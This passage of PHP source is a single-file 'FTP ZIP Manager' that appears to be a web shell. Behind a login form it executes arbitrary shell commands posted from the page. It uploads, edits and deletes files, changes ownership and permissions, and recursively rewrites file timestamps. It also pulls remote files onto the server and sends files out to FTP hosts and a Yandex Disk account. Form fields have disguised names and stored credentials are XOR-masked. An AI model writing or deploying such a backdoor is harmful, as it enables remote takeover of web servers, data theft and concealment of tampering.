$_SESSION['a6'] = rand(100,9000000);
$expired = true;
}
if (isset($_POST['login'])) {
$adm_user = md5($adm_user);
$adm_pass = md5($adm_pass);
if ($reg_user != $adm_user || $reg_pass != $adm_pass) {
echo "Login error: incorrect username or password!<br />";
$expired = true;
} else {
$time_started = md5(time());
$secure_session_user = md5($adm_user.$adm_pass);
$_SESSION['a5'] = $adm_user;
$_SESSION['a6'] = $time_started.$secure_session_user.session_id();
$_SESSION['cs0'] = $adm_user."=".$_SESSION['a6'];
$expired = false;
 }
}
if ($expired) {
    echo "</div>";
    echo "Please login:<br />";
    ?>
    <form method="POST" action="<?php echo $docname; ?>">
        <table border="0">
      <tr>
        <td>Username</td>
        <td><input class="logform" type="text" name="adm_user" /></td>
      </tr>
      <tr>
        <td>Password</td>
        <td><input class="logform" type="password" name="adm_pass" /></td>
      </tr>
         </table>
         <input class="create" type="submit" value="Login" name="login" />
         </form>
      </div></body></html>
<?php die();
    }
// PHP PAGE
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
if(isset($_POST['dir'])) $dir = urldecode($_POST['dir']);
else $dir = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/');
//OWNER
if(isset($_POST['gowner']) && $_POST['group'] != ""):
  $ogval = explode('/',$_POST['group']);
  $taskdelete = '<span class="redsp">Failed owner='.$ogval[0].'.</span>';
  if(chown(urldecode($_POST['gowner']),$ogval[0])) $taskdelete = 'owner='.$ogval[0].' OK.';
  if(!chgrp(urldecode($_POST['gowner']),$ogval[1])) $taskdelete .= '<span class="redsp"> Failed group='.$ogval[1].'.</span>';
endif;
//TOUCH
if(isset($_POST['touch']) && $_POST['time'] != ""):
  $taskdelete = '<span class="redsp">TOUCH Failed!!!</span>';
  $ttime = timeTOint($_POST['time']);
  if(isset($_POST['alltouch'])) touchDirectory(urldecode($_POST['touch']),$ttime);
  if(touch(urldecode($_POST['touch']),$ttime)) $taskdelete = "Touched OK.";
endif;
//CHMOD
if(isset($_POST['chmod'])):
$_POST['chmod'] = urldecode($_POST['chmod']);
$_POST['perms'] = octaldec($_POST['perms']);
  if(isset($_POST['fperms'])) {
    $_POST['fperms'] = octaldec($_POST['fperms']);
    chmodDirectory($_POST['chmod']);
  }
  chmod($_POST['chmod'], $_POST['perms']);
endif;
// END CHMOD
// RENAME, EDIT
if(isset($_POST['rename'])):
  if (rename (urldecode($_POST['editc']), $dir.'/'.mb_convert_encoding($_POST['editf'],$_SESSION['charset'],"UTF-8"))) $taskdelete = '<span class="redsp">'.$_POST['editf'].'</span> SAVED.';
endif;
if(isset($_POST['editt']) && isset($_POST['editf'])):
    if($_SESSION['charset'] == "windows-1251" || $_SESSION['charset'] == "windows-1252") $_POST['editt'] = mb_convert_encoding($_POST['editt'],$_SESSION['charset'],"utf-8");
    if($_POST['editf'] != $_POST['editres']) {
      if(file_put_contents($dir.'/'.mb_convert_encoding($_POST['editf'],$_SESSION['charset'],"UTF-8"),$_POST['editt'])) $taskdelete = $_POST['editres'].' <span class="redsp">SAVED as</span> '.$_POST['editf'].'.';
      else $taskdelete = $_POST['editres'].' <span class="redsp">not SAVED.</span>';
    } else {
      if(file_put_contents(urldecode($_POST['editc']),$_POST['editt'])) $taskdelete = 'File <span class="redsp">'.$_POST['editres'].'</span> SAVED.';
      else $taskdelete = $_POST['editres'].' <span class="redsp">not SAVED.</span>';
    }
endif;
//file upload
if(isset($_POST['upload'])):
  $a4cr = $_SESSION['a4'] ^ str_pad('', strlen($_SESSION['a4']), $reg_user);
  move_uploaded_file($_FILES['wert45uyuio']['tmp_name'], $a4cr);
  unset($_SESSION['a4']);
endif;
// END file upload
// DELETE Folder
if($action == 'deletedir'):
    $dirdel = $dir.'/'.urldecode($_POST['filetodel']);
    removeDirectory($dirdel);
    if(!is_dir($dirdel)) $taskdelete = 'Folder <span class="redsp">'.$_POST['origname'].'</span> remooved Successfully.';
    else $taskdelete = 'ERROR!!! Folder <span class="redsp">'.$_POST['origname'].'</span> may be not empty or incorrect CHMOD.';
endif;
// END DELETE Folder
// DELETE File
if($action == 'deletef'):
   $taskdelete = 'File <span class="redsp">'.$_POST['origname'].'</span> remooved Successfully';
     $old_direction = getcwd();
     if ( !(chdir($dir)) ) $taskdelete = 'Error open path '.$dir.' to file ';
     if ( !(unlink(urldecode($_POST['filetodel']))) ) $taskdelete = 'Error Delete File  <span class="redsp">'.$_POST['origname'].'</span>.';
     chdir($old_direction);
endif;
// end DELETE
// DISK File
if($action == 'disk'):
    $sendpath = urldecode($_POST['dir']).'/'.urldecode($_POST['file']);
    $taskdelete = yandex_send($sendpath,$_POST['origname'],$reg_user);
endif;
// end DISK
// MOOV FILE
if(isset($_POST['source']) && !empty($_POST['source'])) {
  $explsrc = explode('p', $_POST['source']);
  if($explsrc[0] == 'htt') {
$source = $_POST['source'];
if($_POST['dest'] == "") {
$dest = $_POST['source'];
$dest = substr($dest, strrpos($dest, '/'));
$dest = $dir.''.$dest;
} else {
$dest = $dir.'/'.$_POST['dest'];
}
if (copy($source, $dest)) $taskdelete = 'File <strong>'.$source.'</strong> mooved to current folder';
else $taskdelete = '<strong>Copy failed</strong>';
      } else {
       $taskdelete = '<b>This URL for COPY is incorrect: <span class="redsp">'.$_POST["source"].'</span></b>';
      }
}
// END MOOV FILE
$startdir = getcwd();
$startdir = str_replace('\\','/',$startdir);
//Save Password
if($action == "chpass"):
  $allfile_c = file_get_contents($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']);
  $allfile_a = explode('//savepass',$allfile_c);
  if($savedpass == "Save Password") {
    $allfile_a[1] = "\n//not\n";
    $taskdelete = '<span class="redsp">Password removed</span> from this file.';
  } else {
    $tegsarr = array("<?php", "?>");
    $untegs = str_replace($tegsarr,"",file_get_contents($startdir."/ppswd.php")).'$savedpass = "Remove Password";';
    $allfile_a[1] = "\n$untegs\n";
    $old_direction = getcwd();
    chdir($startdir);
    unlink('ppswd.php');
    chdir($old_direction);
    $taskdelete = '<span class="redsp">Password saved </span> in this work file.<br />And removed file <span class="redsp">ppswd.php</span> from work folder.';
  }
  $allfile_c = implode('//savepass',$allfile_a);
  file_put_contents($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'], $allfile_c);
  endif;
// End Save Password
if(file_exists("zipmaker.php")):
include_once "zipmaker.php";
$zipisset = 1;
endif;
chdir($dir);
if(isset($_POST['exec'])):
$execcom = mb_convert_encoding($_POST['exec'],$_SESSION['charset'],"UTF-8");
$exoutput = `$execcom`;
if($exoutput) {
$exoutput = preg_replace('/  +/','<br />',$exoutput);
$exoutput = mb_convert_encoding($exoutput,"UTF-8",$_SESSION['charset']);
$execmess = '<span class="white_sp">'.$_POST['exec'].' Result:</span><br />'.$exoutput.'<br />';
} else $execmess = '<span class="redsp">'.$_POST['exec'].' not FOUND!</span><br />';
endif;
$basedir = getcwd();
$basedir = str_replace('\\','/',$basedir);
$cBD = convlink($basedir);
echo '<span class=logout><a class="getjs" href="javascript:void(0);" data="action=logout">[Logout]</a>  <a class="modopen" id="yaset" href="javascript:void(0);"><span class="redsp">[Yandex settings]</span></a>  <a class="getjs white-get" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#action=chpass">['.$savedpass.']</a></span>
<div class="right-form">default charset: <form action="'.$docname.'" method="POST">
<select name="charset"  onchange="this.form.submit()">
<option style="display:none">'.$_SESSION['charset'].'</option>
<option value="utf-8">utf-8</option>
<option value="windows-1251">windows-1251</option>
<option value="windows-1252">windows-1252</option>
</select>
<input type="hidden" name="progress" value="charset" />
<input type="hidden" name="dir" value="'.$cBD.'" />
</form>
</div>
</div>';
if (is_dir($basedir)) {
// MAKE DIR
if(isset($_POST['createf']) && !empty($_POST['createf'])):
  if(mkdir($basedir.'/'.mb_convert_encoding($_POST['createf'],$_SESSION['charset'],"UTF-8"), 0700)) $taskdelete = '<span class="white_sp">Folder </span><b>'.$_POST['createf'].'</b><span class="white_sp"> created successfully.</span>';
  else $taskdelete = 'ERROR!!! Creating folder <span class="white_sp">'.$_POST['createf'].'</span> failed.';
endif;
// END MAKE DIR
$parentarr = explode('/',$basedir);
array_pop($parentarr);
$parent = implode('/',$parentarr);
$cPAR = convlink($parent != ""?$parent:"/");
$cur = $basedir;
$path = '';
$path_n = '';
while (substr($cur,0,1) == '/') {
        $cur = substr($cur,1,strlen($cur));
        $path .= '/';
        $path_n .= '/';
      }
$p_out = $path;
while (strlen($cur) > 0) {
$k = strpos($cur,'/');
if (!strpos($cur,'/')) $k = strlen($cur);
$s = substr($cur,0,$k);
$cur = substr($cur,$k+1,strlen($cur));
$path .= convlink($s).'/';
$path_n .= convname($s).'/';
$p_out .= '<a class="getjs" href="javascript:void(0);" data="dir='.$path.'">'.convname($s).'</a>/';
 }
}
// COMPRESSOR
if ($action == 'compress') {
$name_arch = $basedir.'/arc_'.$s.'.zip';
$files_dir = $basedir;
$files_to_arch = array();
for($d = @opendir($files_dir); $file = @readdir($d);)
{
    if($file!='.' && $file!='..')
    {
        $files_to_arch[] = $file;
    }
}
chdir($files_dir);
$GLOBALS['arcmistakes'] = array();
$GLOBALS['countmistakes'] = 0;
$archive = new PclZip($name_arch);
$v_list = $archive->create(implode(',', $files_to_arch),PCLZIP_CB_PRE_ADD, 'TestBeforeAdd');
if($v_list == 0)
{
   $taskdelete = "Error : ".$archive->errorInfo(true);
}
else
   {
   $taskdelete = 'File <span class="redsp">arc_'.convname($s).'.zip </span>SAVED.';
      if($GLOBALS['countmistakes'] > 0):
     $taskdelete .=  '<br />
       <p><span class="redsp font16">Some files may not be added to the archive, because their size exceeds the allowable!</span><br /><br />
       <b>You can try to change <span class="redsp">zipmaker.php</span> settings in line 6.</b>
       <br /><br />
       <b>The List of these files:</b></p>
       <table class="big-zip">
       <tr><td></td><td>Path/Filaname</td><td>Size</td></tr>';
       foreach ($GLOBALS['arcmistakes'] as $key=>$mistake) {
         $nom = $key + 1;
         $notarcsize = convertsize($GLOBALS['arcmistakes'][$key]['size']);
         $taskdelete .= '<tr><td>'.$nom.'.</td><td>'.$GLOBALS['arcmistakes'][$key]['filename'].'</td><td>'.$notarcsize.'</td></tr>';
       }
       $taskdelete .='</table>';
       endif;
   }
chdir($basedir);
}
// END COMPRESSOR
echo '<div class="bigblock"><div class="contents"><div class="urls"><a class="home-a" href="'.$docname.'" title="Go to script home page"><div class="home"></div></a>Current dir: '.$p_out.'</div>'; ?>
<div class="cdiv"><span class="grey_sp">Show properties</span><!--
--><select name="options" id="chopt"><!--
--><option value=".chmod">chmod</option><!--
--><option value=".mtime/.fmtime">modify time</option><!--
--><option value=".gowner/.fgowner">owner/group</option><!--
--><option value=".gs/.fgs">size</option><!--
--><option value=".ctime">created</option><!--
--></select>
<a class="white-get" href="javascript:void(0);" onClick="copyFile('<?php echo $cBD; ?>','<?php echo convname($s); ?>','<?php echo $cBD; ?>');">COPY this DIR</a>
<div class="pfclip"><form id="prename" method="POST" action="<?php echo $docname; ?>" onSubmit="return test_upload('testrename');"><input name="editc" value="<?php echo $cBD; ?>" type="hidden"><input id="rnname" name="editf" value="<?php echo convname($s); ?>" type="text"><input name="dir" value="<?php echo
$cPAR; ?>" type="hidden"> <input class="create" name="rename" value="Rename" type="submit"></form>
</div></div>
<?php
echo '<div class="dirlist">';
echo '<div class="filedirtitle">Directory FOLDERS</div>';
echo '<p><b><a class="getjs" href="javascript:void(0);" data="dir='.$cPAR.'">Parrent directory</a></b></p>';
$glob = array();$c = 0;
if ($dh = opendir(getcwd())) {
        while (($file = readdir($dh)) !== false) {
            if ($file != '..' && $file != '.') $glob[$c++] = $file;
        }
    closedir($dh);
    }
sort ($glob);
foreach ($glob as $filename) {
  if (is_dir($filename)) {
  $og = getowgr($filename);
  $fperms = substr(sprintf('%o', fileperms($basedir."/".$filename)), -4);
    echo '<div class="dirs-eq"><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'/'.convlink($filename).'"><b>'.convname($filename).'</b></a></div>  <a class="modopen chmod addsel" href="javascript:void(0);" chmod="'.$cBD.'" origdir="'.convname($filename).'" dirname="'.convlink($filename).'" perms="'.$fperms.'">['.$fperms.']</a><a class="modopen mtime addsel" href="javascript:void(0);" touch="'.$cBD.'" origdir="'.convname($filename).'" dirname="'.convlink($filename).'" mtime="'.date("d.m.Y/H:i:s", filemtime($filename)).'">'.date("d.m.Y/H:i:s", filemtime($filename)).'</a><a class="modopen gowner addsel" href="javascript:void(0);" gowner="'.$cBD.'" origdir="'.convname($filename).'" dirname="'.convlink($filename).'" group="'.$og['owid'].'/'.$og['grid'].'" owner="'.$og['name'].'/'.$og['group'].'">'.$og['owid'].'/'.$og['grid'].' : '.$og['name'].'/'.$og['group'].'</a><a class="modopen gs addsel" href="javascript:void(0);" dir="'.$cBD.'/'.convlink($filename).'" gs="'.convname($filename).'">get size</a><div class="ctime addsel">'.date("d.m.Y/H:i:s", filectime($filename)).'</div>  <a class="delete-link" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#filetodel='.convlink($filename).'#.d/s.#origname='.convname($filename).'#.d/s.#action=deletedir" title="Remove folder '.convname($filename).'">[Remove]</a><br />';
  }
}
echo '<br />
<form action="'.$docname.'" method="POST">
<input class="create-input" type="text" name="createf" placeholder="new DiR name" />
<input type="hidden" name="dir" value="'.$cBD.'" />
<input class="create" type="submit" value="Create">
</form></div><div class="filelist">';
echo '<div class="filedirtitle">Directory FILES</div><br />';
$filez = $glob;
reset($filez);
if (sizeof($filez) > 0):
foreach ($filez as $filename) {
  $og = getowgr($filename);
  $fperms = substr(sprintf('%o', fileperms($basedir."/".$filename)), -4);
  if (strtolower(fileext(urldecode(convlink($filename)))) == 'zip') {
    if (is_file($filename)) {
      if(isset($zipisset)) echo '<div class="files-eq"><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#unzip='.convlink($filename).'#.d/s.#action=view" title="View archive contents"><b>'.convname($filename).'</b> [view]</a><span class="nocolor">|</span><a class="getjs white-get" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#unzip='.convlink($filename).'#.d/s.#action=unzip" title="Extract files from archive">[unzip]</a></div> ';
      else echo '<div class="files-eq"><b>'.convname($filename).'</b></div>';
      echo '<a class="modopen chmod addsel" href="javascript:void(0);" dir="'.$cBD.'" chmod="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" perms="'.$fperms.'">['.$fperms.']</a><a class="modopen fmtime addsel" href="javascript:void(0);" dir="'.$cBD.'" touch="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" mtime="'.date("d.m.Y/H:i:s", filemtime($filename)).'">['.date("d.m.Y/H:i:s", filemtime($filename)).']</a><a class="modopen fgowner addsel" href="javascript:void(0);" dir="'.$cBD.'" gowner="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" group="'.$og['owid'].'/'.$og['grid'].'" owner="'.$og['name'].'/'.$og['group'].'">'.$og['owid'].'/'.$og['grid'].' : '.$og['name'].'/'.$og['group'].'</a><div class="fgs addsel">'.convertsize(filesize($filename)).'</div><div class="ctime addsel">'.date("d.m.Y/H:i:s", filectime($filename)).'</div>  <a class="modopen white-get" href="javascript:void(0);" file="'.convlink($filename).'" origname="'.convname($filename).'" dir="'.$cBD.'" title="File '.convname($filename).'">[Options]</a><br />';
    }
  } else {
      if (is_file($filename)) {
          echo '<div class="files-eq"><b>'.convname($filename).'</b></div>  <a class="modopen chmod addsel" href="javascript:void(0);" dir="'.$cBD.'" chmod="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" perms="'.$fperms.'">['.$fperms.']</a><a class="modopen fmtime addsel" href="javascript:void(0);" dir="'.$cBD.'" touch="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" mtime="'.date("d.m.Y/H:i:s", filemtime($filename)).'">['.date("d.m.Y/H:i:s", filemtime($filename)).']</a><a class="modopen fgowner addsel" href="javascript:void(0);" dir="'.$cBD.'" gowner="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" group="'.$og['owid'].'/'.$og['grid'].'" owner="'.$og['name'].'/'.$og['group'].'">'.$og['owid'].'/'.$og['grid'].' : '.$og['name'].'/'.$og['group'].'</a><div class="fgs addsel">'.convertsize(filesize($filename)).'</div><div class="ctime addsel">'.date("d.m.Y/H:i:s", filectime($filename)).'</div>  <a class="modopen white-get" href="javascript:void(0);" file="'.convlink($filename).'" origname="'.convname($filename).'" dir="'.$cBD.'" title="Edit '.convname($filename).'">[Options]</a><br />';
      }
    }
}
endif;
echo '<div class="cdiv">-----------------------------------</div>';
if(isset($zipisset)) echo '<a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#action=compress" title="Directory to ZIP file"><span class="redsp">[SAVE this Directory to ZIP file]</span></a>';
else echo '<div>File  <span class="white_sp">zipmaker.php</span>  not found!!!<br />You should better upload it<br />to this folder:<br /><a class="getjs" href="javascript:void(0);" data="dir='.convlink($startdir).'">'.convname($startdir).'</a></div>';
?>
<form enctype="multipart/form-data" action="<?php echo $docname; ?>" method="POST" onSubmit="return test_upload('upload');">
  <div>
    <div class="filename">File</div>
    <input name="wert45uyuio" type="file" onChange="setFile(this.value);" />
    <?php echo '<input type="hidden" name="dir" value="'.$cBD.'" />'; ?>
    <input class="create" type="submit" name="upload" value="Upload" />
    </div>
</form>
<form action="<?php echo $docname; ?>" method="POST">
<input class="create-input" type="text" name="exec" placeholder="enter sh_exec command" />
<?php echo '<input type="hidden" name="dir" value="'.$cBD.'" />'; ?>
<input class="create" type="submit" value="- Exec -">
</form>
</div></div><br />
<div id="resscr" class="unzip">
<div class="progress"><div class="pr-inside"></div></div>
<div class="tablo">Found files quantity: 0</div>
</div>
<?php
if(isset($_POST['unzip'])):
$unzip = urldecode($_POST['unzip']);
$unzip_name = convname($unzip);
if (is_file($unzip)) {
$zip = new PclZip($unzip);
if (($list = $zip->listContent()) == 0) {die("Error : ".$zip->errorInfo(true));  }
//calculate statistics...
  $fil = 0;
  $tot_comp = 0;
  $tot_uncomp = 0;
  for ($i=0; $i<sizeof($list); $i++) {
    if ($list[$i]['folder']=='1') {
    $fold++;
    $dirs[$fold] = $list[$i]['stored_filename'];
    if ($action == 'unzip') {
     $dirname = $list[$i]['stored_filename'];
     $dirname = substr($dirname,0,strlen($dirname)-1);
     mkdir($basedir.'/'.$dirname); }
     chmod($basedir.'/'.$dirname,0777);
       }else{$fil++;}
    $tot_comp += $list[$i]['compressed_size'];
    $tot_uncomp += $list[$i]['size'];
    }
echo "<div class=unzip>".($_POST['action'] == 'unzip' ? 'Unzipping' : 'Viewing')." file <b>$unzip_name</b><br />\n";
echo "$fil files in archive<br />\n";
echo "Compressed archive size: ".convertsize($tot_comp)."<br />\n";
echo "Uncompressed archive size: ".convertsize($tot_uncomp)."<br />\n";

if ($action == 'unzip') {
echo "<br /><b>Starting to decompress...</b><br />";
$zip->extract('');
echo "Archive sucessfuly extracted!<br />\n";
}

if ($action == 'view') {
echo "<br />";
for ($i=0; $i<sizeof($list); $i++) {
    if ($list[$i]['folder'] == 1) {
         echo "<b>Folder: ".convname($list[$i]['stored_filename'])."</b><br />";
         } else {
         echo convname($list[$i]['stored_filename'])." (".convertsize($list[$i]['size']).")<br />";
         }
  }
}
echo "</div>";
}
endif;
// MESSAGE
if(isset($taskdelete) || isset($execmess)): ?>
<div class="unzip">
<span class="moovf">
<?php echo $execmess; ?>
<?php echo $taskdelete; ?>
</span>
</div>
<?php endif;
// END MESSAGE
// GET File MESSAGE
if(isset($_POST['fmessage'])) { ?>
<div class="unzip">
<span class="white_sp">
<?php
if($_POST['fmessage'] != 'error_getting_file'){ ?>
  File </span>-<b> <?php echo $_POST['fmessage']; ?> </b>-<span class="white_sp"> loaded to your local folder: </span>
<?php echo $path_n; ?>.
<?php } else { ?>
  <span class="redsp">ERROR while getting file!!!</span>
<?php } ?>
</div>
<?php
}
// END GET File MESSAGE
// REMOTE FTP
?>
<div class="contents">
<div class="pdd-all">
<p><b>Remote FTP: </b>
<?php if(isset($_POST['loftp']) && $_POST['loftp'] == 'true') echo ' You loged out from - '; ?>
<?php if(isset($_SESSION['a8'])) echo '<span class="white_sp">'.$_SESSION['a8'].'</span>'; ?>
</p>
<?php
if (isset($_POST['loftp']) && $_POST['loftp'] == true):
unset($_SESSION['a8']);
unset($_SESSION['a9']);
unset($_SESSION['a18']);
unset($_SESSION['fl0']);
endif;
function ftp_start($basedir,$cBD) {
  if(@!$connect = ftp_connect($_SESSION['a8'])):
    echo 'Connection Failed';
    return false;
    endif;
  if (ftp_login($connect,$_SESSION['a9'],$GLOBALS['a10']))
  {
    ftp_pasv($connect, true);
    if (!isset($_POST['folder']) or empty($_POST['folder'])) {
    if (!isset($_SESSION['fl0'])):
      $_SESSION['fl0'] = "/";
    endif;
    } else $_SESSION['fl0'] = urldecode($_POST['folder']);
    if ( @!ftp_chdir($connect, $_SESSION['fl0']) )  echo "Path ".$_SESSION['fl0']." not found.<br/>";
    //GET file
    if(isset($_POST['action']) && $_POST['action'] == 'ftpgetfile'):
      $fwrite = mb_convert_encoding($_POST['filename'],$_SESSION['charset'],"UTF-8");
      if ( @ftp_get( $connect, $fwrite, $fwrite, FTP_BINARY )) {
          $reload_page = 'dir='.$cBD.'#.d/s.#fmessage='.$_POST["filename"];
    } else {
      $reload_page = 'dir='.$cBD.'#.d/s.#fmessage=error_getting_file';
    }
  echo '<script type="text/javascript">
          function reload_get(){
      submitGet("'.$reload_page.'");
      }
          </script>';
    endif;
    //AND GET
    $parent = "/";
    $tmp = "";
    if ( ftp_pwd($connect) != "/" )
    {
      $pos = strrpos ( ftp_pwd($connect), "/" );
      if ( $pos )  $parent = substr_replace( ftp_pwd($connect), "", $pos );
      $tmp = "/";
      echo '<a class="getjs" href="javascript:void(0);" data="folder='.convlink($parent).'#.d/s.#dir='.$cBD.'"><b>Parrent folder</b></a><br/>';
    }
    echo "<b>Current folder: ".convname(ftp_pwd($connect))."</b><br /><br />";
    if ($contents = ftp_rawlist($connect,".")) {
    echo '<div class="dirlist"><div class="filedirtitle">Directory FOLDERS</div>';
    $i = 0;
    while (isset($contents[$i])) :
                $itemz = explode(" ",$contents[$i]);
                $ki = 0;
                foreach($itemz as $kval):
                  if($kval != "") {
                    $item[$i][$ki] = $kval;
                    $ki++;
                  }
                endforeach;
                $item_type = substr($item[$i][0],0,1);
                if ($item_type == "d"):
      echo '<div class="dirs-eq"><a class="getjs" href="javascript:void(0);" data="folder='.convlink(ftp_pwd($connect).$tmp.$item[$i][8]).'#.d/s.#dir='.$cBD.'"><b>'.convname($item[$i][8]).'</b></a></div> - <a localp="'.$cBD.'" reload="'.$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"].'" remotep="'.convlink(ftp_pwd($connect).$tmp.$item[$i][8]).'" class="white-folder" title="Get All files(folders) from this folder to current dirrectory." href="javascript:void(0);">[get files]</a><br />';
                endif;
                $i++;
    endwhile;
    echo '</div>';
    echo '<div class="filelist"><div class="filedirtitle">Directory FILES</div>';
    $i = 0;
    while (isset($contents[$i])) :
                $itemz = explode(" ",$contents[$i]);
                $ki = 0;
                foreach($itemz as $kval):
                  if($kval != "") {
                    $item[$i][$ki] = $kval;
                    $ki++;
                  }
                endforeach;
                $item_type = substr($item[$i][0],0,1);
               if ($item_type != "d") :
    echo '<div class="files-eq"><b>'.convname($item[$i][8]).'</b></div> - <a class="white-get getjs" title="Get this file to current dirrectory." href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#action=ftpgetfile#.d/s.#filename='.convname($item[$i][8]).'#.d/s.#folder='.convlink($_SESSION['fl0']).'">[get]</a><br />';
                endif;
                $i++;
    endwhile;
   echo '</div><div class="clear"></div>';
    }

  }
  else
  {
    echo "Wrong password or login ".$_SESSION['a9'];
    return false;
  }
  ftp_close($connect);
  return true;
}

if (isset($_SESSION['a8'],$_SESSION['a9'],$_SESSION['a18'])) {
  if (ftp_start($basedir,$cBD) == true) :
  echo '<br /><a class="getjs" href="javascript:void(0);" data="loftp=true#.d/s.#dir='.$cBD.'"><span class="redsp">[Logout this FTP HOST]</span></a><br/>';
   else:
   unset($_SESSION['a8']);
   unset($_SESSION['a9']);
   unset($_SESSION['a18']);
   unset($_SESSION['fl0']);
  echo '<br /><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'"><span class="redsp">[Try again???]</span></a><br/>';
   endif;
} else {
  if (isset($_POST['ftphost']) && !empty($_POST['ftphost'])):
    $_SESSION['a8'] = $_POST['ftphost'];
    $_SESSION['a9'] = $_POST['ftpuser'];
    $_SESSION['a18'] =  $_POST['grouptitle'] ^ str_pad('', strlen($_POST['grouptitle']), $reg_user);
    $GLOBALS['a10'] = $_POST['grouptitle'];
   if (ftp_start($basedir,$cBD) == true) :
   echo '<br /><a class="getjs" href="javascript:void(0);" data="loftp=true#.d/s.#dir='.$cBD.'"><span class="redsp">[Logout this FTP HOST]</span></a><br/>';
   else:
   unset($_SESSION['a8']);
   echo '<br /><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'"><span class="redsp">[Try again???]</span></a><br/>';
   endif;
 else:
    ?>
<form method="POST" action="<?php echo $docname; ?>">
        <input id="ftp-host" class="mfinput" placeholder="FTP HOST" type="text" name="ftphost" /><br /><br />
        <input id="ftp-user" class="mfinput" placeholder="Username" type="text" name="ftpuser" /><br /><br />
        <input id="ftp-pass" class="mfinput" placeholder="Password" type="password" name="grouptitle" /><br /><br />
        <input type="hidden" name="dir" value="<?php echo $cBD; ?>" />
        <input id="form-ftp" class="butsend" type="submit" value="Connect" /><br />
</form>
  <?php
  endif;
}
echo '</div></div><br />';
// END FTP
// MOOV FILE HTML
?>
<div class="contents">
<div class="pdd-all">
<div class="moovf">MOOVE File to this Directory, ( <span class="black_sp"><?php echo $path_n; ?></span> )</div><br />
<form method="POST" action="<?php echo $docname; ?>">
<div class="moovf">Source File</div><br />
<input class="mfinput mfbig" id="src" type="text" name="source" value=""  placeholder="http://www.somedomain.com/somefile.zip (Required field!!!)" /><br /><br />
<div class="moovf">Rename File<span class="black_sp"> leave it empty if you want to save original filename</span></div><br />
<input class="mfinput mfmidd" type="text" name="dest" value=""  placeholder="myfile.zip (Not required field...)" /><br /><br />
<input type="hidden" name="dir" value="<?php echo $cBD; ?>" />
<input id="form-copy" type="submit" class="butsend" value="MOOV" />
</form>
</div>
</div><br />
<div class="contents">
  <div class="cdiv">FTP ZIP Manager v1.1, August 19th 2015<br />
  <span class="copy-w">&copy;</span> S&amp;B, <?php echo date("Y") ?>
            </div>
          </div>
       </div>
    </div>
    <div id="modal_form">
    <span id="modal_close"> </span>
      <div id="modres">
        </div>
    </div>
    <div id="overlay"></div>
    <div id="above"></div>
    <div class="modal-blocks">
      <div id="yaset-block">
        <p id="ym-saved">Yandex settings:</p>
        <form id="yaform" method="POST" action="<?php echo $docname; ?>" onSubmit="return yachange();">
          <input type="text" name="yafolder" placeholder="FOLDER = name/name" value="<?php echo $_SESSION['a2']; ?>" /><br />
          <input type="text" name="yalogin" placeholder="username" value="<?php echo $_SESSION['a1'] ^ str_pad('', strlen($_SESSION['a1']), $reg_user); ?>" /><br />
            <input type="text" name="yapass" placeholder="password" value="<?php echo $_SESSION['a3'] ^ str_pad('', strlen($_SESSION['a3']), $reg_user); ?>" /><br />
            <input type="hidden" name="progress" value="yachange" />
            <input class="create" type="submit" value="Change" />
    </form>
        </div>
        <form id="gp-form" method="POST" action="<?php echo $docname; ?>">
        <div id="gp-div"></div>
        </form>
    </div>
</body>
<?php
if(isset($_SESSION['a7'])): ?>
<div class="fclip">
<form method="POST" action="<?php echo $docname; ?>">
Copied: <span class="redsp"><?php echo $_SESSION['a7']['name']; ?></span><input type="hidden" name="cname" value="<?php echo $_SESSION['a7']['name']; ?>" /><input type="hidden" name="dir" value="<?php echo $cBD; ?>" />  <input class="create" type="submit" name="fpaste" value="Paste" /> <input class="create" type="submit" name="mfpaste" value="Moov" />
</form>
</div>
<?php endif; ?>
</html>
<?php
function removeDirectory($path) {
  $handle = opendir($path);
  while ( false !== ($file = readdir($handle)) ) {
    if ( ($file !== ".") && ($file !== "..") ) {
      if ( is_file($path."/".$file) ) {
        chmod($path . "/" . $file, 0666);
        unlink($path . "/" . $file);
      } else {
        chmod($path . "/" . $file, 0777);
        removeDirectory($path . "/" . $file);
      }
    }
  }
closedir($handle);
  chmod($path, 0777);
  rmdir($path);
}
function chmodDirectory($path) {
  $handle = opendir($path);
  while ( false !== ($file = readdir($handle)) ) {
    if ( ($file !== ".") && ($file !== "..") ) {
      if ( is_file($path."/".$file) ) {
        chmod($path . "/" . $file, $_POST['fperms']);
      } else {
        chmodDirectory($path . "/" . $file);
        chmod($path . "/" . $file, $_POST['perms']);
      }
    }
  }
closedir($handle);
}
function touchDirectory($path,$ttime) {
  $handle = opendir($path);
  while ( false !== ($file = readdir($handle)) ) {
    if ( ($file !== ".") && ($file !== "..") ) {
      if ( is_file($path."/".$file) ) {
        touch($path . "/" . $file, $ttime);
      } else {
        chmodDirectory($path . "/" . $file);
        touch($path . "/" . $file, $ttime);
      }
    }
  }
closedir($handle);
}
function yandex_send($file,$name,$key) {
$return = 'Yandex settings <span class="redsp">EMPTY!!!</span> Adjust them! Look for settings link at the top of page.';
if($_SESSION['a2'] == "" || $_SESSION['a1'] == "" || $_SESSION['a3'] == "") return $return;
$url = "/".$_SESSION['a2']."/".$name;
$user = $_SESSION['a1'] ^ str_pad('', strlen($_SESSION['a1']), $key);
